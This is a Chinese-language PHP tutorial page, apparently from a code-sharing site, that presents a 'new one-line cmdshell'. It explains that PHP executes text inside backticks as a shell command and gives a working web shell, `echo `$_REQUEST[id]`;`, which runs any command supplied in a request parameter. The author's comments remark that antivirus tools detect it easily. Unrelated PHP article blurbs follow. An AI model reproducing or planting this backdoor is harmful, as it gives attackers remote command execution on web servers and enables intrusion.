php一句話cmdshell新型 (非一句話木馬)
更新時(shí)間：2009年04月18日 12:04:17 作者：
php運(yùn)行時(shí)如果遇見字符``(鍵盤上~符號(hào)的下檔鍵)總會(huì)嘗試著執(zhí)行``里面包含的命令，并返回命令執(zhí)行的結(jié)果(string類型)；
復(fù)制代碼 代碼如下:
<?php
/*一個(gè)新型的php一句話cmdshell(非一句話木馬)
//原理:php運(yùn)行時(shí)如果遇見字符``(鍵盤上~符號(hào)的下檔鍵)總會(huì)嘗試著執(zhí)行``里面包含的命令，并返回命令執(zhí)行的結(jié)果(string類型)；
//局限性:特征碼比較明顯，``符號(hào)在php中很少用到，殺毒軟件很容易以此為特征碼掃描到并警報(bào)；``里面不能執(zhí)行php代碼；
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>
相關(guān)文章
關(guān)于PHP彩蛋這個(gè)玩法已經(jīng)被國外的某些Web漏洞掃描器(例如：HP WebInspect)所使用了，用其來探測(cè)被掃描的網(wǎng)站使用的是何種Web開發(fā)語言2013-08-08
詳解PHP多個(gè)進(jìn)程配合redis的有序集合實(shí)現(xiàn)大文件去重
這篇文章主要介紹了PHP多個(gè)進(jìn)程配合redis的有序集合實(shí)現(xiàn)大文件去重，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí) 吧2019-03-03
用php實(shí)現(xiàn)的下載css文件中的圖片的代碼
非常有創(chuàng)意的利用php獲取css中圖片地址并實(shí)現(xiàn)下載的代碼。2010-02-02
解析Win7 XAMPP apache無法啟動(dòng)的問題
本篇文章是對(duì)Win7 XAMPP apache無法啟動(dòng)的問題進(jìn)行了詳細(xì)的分析介紹，需要的朋友參考下2013-06-06
PHP使用PDO創(chuàng)建MySQL數(shù)據(jù)庫、表及插入多條數(shù)據(jù)操作示例
這篇文章主要介紹了PHP使用PDO創(chuàng)建MySQL數(shù)據(jù)庫、表及插入多條數(shù)據(jù)操作,結(jié)合實(shí)例形式總結(jié)分析了php基于pdo的mysql數(shù)據(jù)庫創(chuàng)建、數(shù)據(jù)表創(chuàng)建以及多條數(shù)據(jù)插入操作相關(guān)實(shí)現(xiàn)技巧,需要的朋友可以參考下2019-05-05
這篇文章主要介紹了PHP反射原理與用法,結(jié)合實(shí)例形式深入分析了PHP反射的概念、原理、應(yīng)用場(chǎng)景及相關(guān)操作技巧,需要的朋友可以參考下2019-09-09
真的是不用不知道，其實(shí)我們熟悉的 PHP 還有很多好東西沒有發(fā)掘?？吹竭@篇文章，當(dāng)時(shí)就淚奔了好幾回，重點(diǎn)推薦下，順便我自己也做個(gè)整理。2010-04-04
PHP 獲取遠(yuǎn)程文件內(nèi)容的函數(shù)代碼
PHP 獲取遠(yuǎn)程文件內(nèi)容的代碼，后面有一些注釋可以參考下，其實(shí)大家可以參考腳本之家發(fā)布的一些采集程序代碼。2010-03-03
這篇文章主要介紹了php中session定期自動(dòng)清理的方法，如何設(shè)置php實(shí)現(xiàn)session定期自動(dòng)清理，本文會(huì)給大家詳細(xì)介紹，需要的朋友可以參考下2015-11-11
解析php curl_setopt 函數(shù)的相關(guān)應(yīng)用及介紹
本篇文章是對(duì)php中的curl_setopt函數(shù)進(jìn)行了詳細(xì)的分析介紹，需要的朋友參考下2013-06-06